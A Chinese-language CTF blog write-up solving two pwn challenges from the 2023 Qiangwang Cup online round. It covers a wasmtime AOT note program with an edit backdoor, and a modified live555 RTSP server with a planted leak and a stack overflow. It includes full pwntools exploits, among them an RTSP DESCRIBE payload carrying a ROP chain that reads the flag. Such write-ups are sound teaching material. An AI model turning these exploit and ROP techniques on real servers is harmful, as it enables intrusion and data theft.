2023 强网杯线上赛 pwn wp

最自闭的一场

只写了比赛的时候没做出来的,解数比较多的两道

wtoa

wasmtime Ahead-Of-Time(AOT)预编译WASM源码生成的JIT代码

里面本质还是可执行的机器码,经调试发现大概是wasmtime会调用wtoa里的代码,wtoa又会调用wasmtime的一些接口用于输入输出之类的

逆向 & 调试

学到一个新操作,IDA View->Graphs->Function Calls能看函数调用图,由于这个题看着像个菜单

这个函数看着像菜单的起点(也确实是),康康

ps:其实比赛的时候夏爹已经逆到这了,tql!

先看看程序的功能

  • Add

  • Edit

  • Delete

  • Show

浅浅调试一下,IDA内的地址是gdb的相对地址+0x1000

这个应该是输入的地方

  • v5:rbx
  • v4:r15

应该是只取输入的两字节,进行操作的判断,然后就是各个功能对应的函数

可以看出我们想要的flag就在下面

反编译可以看出寻址都是按基址+段内偏移进行的,堆块的管理大概是这样的↓

edit中有个后门,length为3428913的时候可以将当前堆块的内容扩写为48字节

当add两个note的时候note1的chunk就在note0的data上面,直接将note1->buffer指向flag,size改大再show note1就行

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *
context.log_level='debug'
context.arch='amd64'
context.os='linux'

def add(data):
p.sendlineafter(b'Choice > ',b'A')
p.sendlineafter(b'>',str(len(data)).encode())
p.sendafter(b' > ',data)

def show(idx,offset,length):
p.sendlineafter(b'Choice > ',b'S')
p.sendlineafter(b'index',str(idx).encode())
p.sendlineafter(b'offset',str(offset).encode())
p.sendlineafter(b'length',str(length).encode())

def edit(idx,offset,data,length):
p.sendlineafter(b'Choice > ',b'E')
p.sendlineafter(b'index',str(idx).encode())
p.sendlineafter(b'offset',str(offset).encode())
p.sendlineafter(b'length',str(length).encode())
p.sendafter(b' > ',data)

p=process('./launch.sh')
add(b'a'*8)
add(b'b'*8)
payload=b'a'*0x8+p64(0x1300000000)+p64(0x00501cd800501ca0)+p64(0x1b00000000)+p64(0x501b40)+p64(0x100)
edit(0,0,payload,3428913)
show(1,0,0x50)
p.interactive()

rtsp

非常好中文路径~~~///(^v^)\\\~~~

基本情况

  • 没开canary

  • 字符串大法好,live555开源库,源码get √

    1
    .rodata:0000000000081CE3	00000018	C	LIVE555 Streaming Media
  • rtsp协议类似http,有各种方法如SETUP,GET_PARAMERTER,PAUSE等,一个报文类似这样👇

    1
    2
    3
    4
    GET_PARAMETER rtsp://192.168.111.143:8554/* RTSP/1.0
    Session: 3E1B7756
    CSeq: 1
    GET_INFO: 2023

各种后门

  • 有源码所以可以编一个bindiff,猜测会在各个方法的处理函数里进行改动,所以滤一波handleCmd(这个思路挺牛逼的)

  • 或者字符串中也能看到一些奇怪的字符串

    1
    2
    3
    4
    5
    .rodata:000000000007B39B	0000001C	C	100 maybe you need this %p\n
    .rodata:000000000007B3C8 00000022 C 100 you may want to get more flag
    .rodata:000000000007B40B 0000000C C vul_string:

    .rodata:000000000007B3F9 aQwb db 'qwb',0

一共三个后门

  • handleCmd_GET_PARAMETER获取一个程序地址

  • handleCmd_SET_PARAMETER可以设置一个标志位

  • handleCmd_DESCRIBE设置标志位后存在溢出

调试过程

  • wavAudioTest相关的操作要先SETUP

  • GET_PARAMETER如果是对wavAudioTest操作实际调用的不是RTSPClientConnection对象的handleCmd_GET_PARAMETER而不是RTSPClientSession对象的

    分别调用两个函数的调用栈

    判断在handleRequestBytes函数中

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
         if (urlIsRTSPS != fOurRTSPServer.fOurConnectionsUseTLS) {

    } else if (strcmp(cmdName, "OPTIONS") == 0) {

    } else if (urlPreSuffix[0] == '\0' && urlSuffix[0] == '*' && urlSuffix[1] == '\0') {
    // The special "*" URL means: an operation on the entire server. This works only for GET_PARAMETER and SET_PARAMETER:
    if (strcmp(cmdName, "GET_PARAMETER") == 0) {
    handleCmd_GET_PARAMETER((char const*)fRequestBuffer); // RTSPClientConnection对象
    } else if (strcmp(cmdName, "SET_PARAMETER") == 0) {
    handleCmd_SET_PARAMETER((char const*)fRequestBuffer);
    } else {
    handleCmd_notSupported();
    }
    } else if (strcmp(cmdName, "DESCRIBE") == 0) {
    handleCmd_DESCRIBE(urlPreSuffix, urlSuffix, (char const*)fRequestBuffer);
    } else if (strcmp(cmdName, "SETUP") == 0) {

    } else if (strcmp(cmdName, "TEARDOWN") == 0
    || strcmp(cmdName, "PLAY") == 0
    || strcmp(cmdName, "PAUSE") == 0
    || strcmp(cmdName, "GET_PARAMETER") == 0
    || strcmp(cmdName, "SET_PARAMETER") == 0) {
    if (clientSession != NULL) {
    clientSession->handleCmd_withinSession(this, cmdName, urlPreSuffix, urlSuffix, (char const*)fRequestBuffer); // RTSPClientSession对象
    } else {
    handleCmd_sessionNotFound();
    }
    } else if (strcmp(cmdName, "REGISTER") == 0 || strcmp(cmdName, "DEREGISTER") == 0) {

    } else {

    }
  • DESCRIBE方法只能对wavAudioTest操作

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from pwn import *

context.log_level='debug'
context.arch='amd64'
context.os='linux'

p=remote('192.168.111.143',8554)
shellcode=b'SETUP rtsp://192.168.111.143:8554/wavAudioTest RTSP/1.0\r\n'
shellcode+=b'CSeq: 1\r\n\r\n'
p.send(shellcode)

p.recvuntil(b'Session: ')
session=p.recvuntil(b';')[:-1]

shellcode=b'GET_PARAMETER rtsp://192.168.111.143:8554/* RTSP/1.0\r\n'
shellcode+=b'Session: '+session+b'\r\n'
shellcode+=b'CSeq: 1\r\n'
shellcode+=b'GET_INFO: 2023\r\n\r\n'
p.send(shellcode)

p.recvuntil(b'100 maybe you need this 0x')
codebase=int(p.recvline()[:-1],16)-0x2A9990
print(hex(codebase))

shellcode=b'SET_PARAMETER rtsp://192.168.111.143:8554/* RTSP/1.0\r\n'
shellcode+=b'Session: '+session+b'\r\n'
shellcode+=b'CSeq: 1\r\n'
shellcode+=b'DESCRIBE_FLAG: qwb\r\n\r\n'
p.send(shellcode)

rdi=codebase+0x7b133
rsi=codebase+0x99fb0
rdx=codebase+0x19eaa
rax=codebase+0x35e4a
flag=codebase+0x7B3E5
read=codebase+0x18200
syscall=codebase+0x19EAC
gift=codebase+0x2a9990

shellcode=b'DESCRIBE rtsp://192.168.111.143:8554/wavAudioTest RTSP/1.0\r\n'
shellcode+=b'Session: '+session+b'\r\n'
shellcode+=b'CSeq: 1\r\n'
shellcode+=b'vul_string: '
shellcode+=b'a'*396+p32(0x198)+p32(0x1f4)+b'b'*8

shellcode+=p64(rdi)+p64(flag)+p64(rsi)+p64(0)+p64(rax)+p64(2)+p64(syscall)
shellcode+=p64(rdi)+p64(7)+p64(rsi)+p64(gift)+p64(rdx)+p64(0x50)+p64(read)
shellcode+=p64(rdi)+p64(5)+p64(rsi)+p64(gift)+p64(rdx)+p64(0x50)+p64(rax)+p64(1)+p64(syscall)

shellcode+=b'\r\n\r\n'
p.send(shellcode)

p.interactive()

2023 强网杯线上赛 pwn wp
http://akaieurus.github.io/2024/01/25/2023强网杯线上赛pwnwp/
作者
Eurus
发布于
2024年1月25日
许可协议